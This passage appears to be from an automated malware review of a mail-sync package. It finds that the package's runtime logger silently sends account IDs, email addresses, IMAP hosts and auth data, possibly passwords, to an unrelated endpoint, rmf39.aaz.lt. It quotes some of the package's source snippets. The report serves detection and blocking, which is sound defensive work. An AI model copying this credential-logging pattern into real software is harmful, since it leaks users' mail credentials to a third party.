Cloud-loaded account setup also serializes the IMAP configuration, which can contain the IMAP password. - **Trigger:** Consumer calls initAndroid() with enabled local or Google Drive accounts. - **Impact:** Credential and mailbox-account metadata exfiltration to an unrelated endpoint. - **Evidence paths:** package.json, android-bootstrap.ts, sync-manager.ts, worker-entry.ts, web-settings.ts - **Review source:** ai\_review - **Reviewed:** 2026-08-20T15:05:09.877Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote verbose logging of account configuration - **Attack narrative:** At runtime, initAndroid registers enabled accounts and calls vlog. vlog silently sends its message to rmf39.aaz.lt. The cloud-account path logs the complete serialized IMAP configuration; the package uses account.imap.password for IMAP authentication, so this logging can disclose credentials alongside email and host data. - **Rationale:** The package contains a concrete, automatic credential-bearing telemetry path to a non-mail-service endpoint. No install hook is needed for this runtime data-exfiltration behavior to be malicious. - **Files touched:** android-bootstrap.ts, sync-manager.ts - **Network endpoints:** https://rmf39.aaz.lt/logit/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Runtime logger sends up to 800 characters to rmf39.aaz.lt., Account setup logs account ID, email, IMAP host, and auth remotely., Android initialization serializes account.imap to that logger; IMAP configs include a password field., This occurs during initAndroid for enabled local/cloud accounts, without a separate telemetry opt-in. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., Google API requests are aligned with the mail/Drive synchronization function. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** android-bootstrap.ts - **Public source:** [View source]() Account setup logs account ID, email, IMAP host, and auth remotely. Public source snippet (untrusted): ```typescript async addAccount(account: AccountConfig): Promise { vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`); this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account)); // Idempotent: a provider already registered for this account is kept ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** sync-manager.ts - **Public source:** [View source]() Android initialization serializes account.imap to that logger; IMAP configs include a password field.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** android-bootstrap.ts - **Public source:** [View source]() This occurs during initAndroid for enabled local/cloud accounts, without a separate telemetry opt-in. Public source snippet (untrusted): ```typescript // Find a Gmail account to use as the GDrive token provider let gmailTokenProvider: (() => Promise) | null = null; for (const account of accounts) { if (!account.enabled) continue; const domain = account.email?.split("@")[1]?.toLowerCase() || ""; if (domain === "gmail.com" || domain === "googlemail.com") { const tp = createNativeTokenProvider(account.email); syncManager.setTokenProvider(account.id, tp); if (!gmailTokenProvider) gmailTokenProvider = tp; } await syncManager.addAccount(account); } ``` ### 9.
